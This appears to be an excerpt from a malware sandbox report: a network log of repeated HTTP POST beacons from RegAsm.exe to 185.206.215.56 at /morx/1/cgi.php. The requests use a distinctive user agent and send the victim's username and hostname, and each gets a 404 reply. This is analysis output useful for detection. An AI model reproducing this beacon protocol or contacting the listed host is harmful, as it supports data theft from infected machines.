Jan 5, 2021 19:06:49.449208975 CET	1283	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:49.549511909 CET	1283	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:48 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49275	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:49.748266935 CET	1284	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:49.824132919 CET	1284	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:49.910768986 CET	1285	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:49 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.22	49276	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:50.119352102 CET	1285	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:50.183672905 CET	1285	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:50.275711060 CET	1286	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:49 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49178	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:11.686949968 CET	1156	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:11.761766911 CET	1156	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:11.871412992 CET	1157	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.22	49277	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:50.486913919 CET	1287	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:50.558531046 CET	1287	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:50.662352085 CET	1287	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:49 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.22	49278	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:50.870070934 CET	1288	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:50.933485031 CET	1288	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:51.028076887 CET	1288	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:50 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.22	49279	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:51.234373093 CET	1289	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:51.308582067 CET	1289	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:51.393172979 CET	1290	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:50 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.22	49280	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:51.603753090 CET	1291	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:51.667836905 CET	1291	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:51.756889105 CET	1291	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:50 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.22	49281	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:51.974611998 CET	1292	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:52.043278933 CET	1292	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:52.147881985 CET	1292	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:51 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.22	49282	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:52.356383085 CET	1293	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:52.433665037 CET	1293	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:52.526789904 CET	1294	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:51 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.22	49283	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:52.728532076 CET	1294	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:52.808633089 CET	1295	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:52.923052073 CET	1295	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:51 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.22	49284	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:53.137320995 CET	1296	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:53.214835882 CET	1296	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:53.310693979 CET	1296	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:52 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.22	49285	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:53.527158022 CET	1297	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:53.605539083 CET	1297	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:53.705441952 CET	1298	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:52 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.22	49286	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:53.922498941 CET	1298	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:53.996371984 CET	1299	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:54.077630997 CET	1299	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:53 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49179	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:12.075634003 CET	1157	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:12.152301073 CET	1158	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:12.243051052 CET	1158	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.22	49287	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:54.285753012 CET	1300	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:54.356172085 CET	1300	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:54.453917980 CET	1300	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:53 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.22	49288	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:54.662266970 CET	1301	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:54.745896101 CET	1301	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:54.864166021 CET	1302	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:53 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.22	49289	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:55.070986032 CET	1302	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:55.137275934 CET	1303	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:55.223018885 CET	1303	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:54 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.22	49290	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:55.427130938 CET	1304	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:55.496157885 CET	1304	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:55.590567112 CET	1304	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:54 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.22	49291	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:55.812036037 CET	1305	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:55.886481047 CET	1305	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:55.997741938 CET	1306	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:55 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.22	49292	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:56.213303089 CET	1306	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
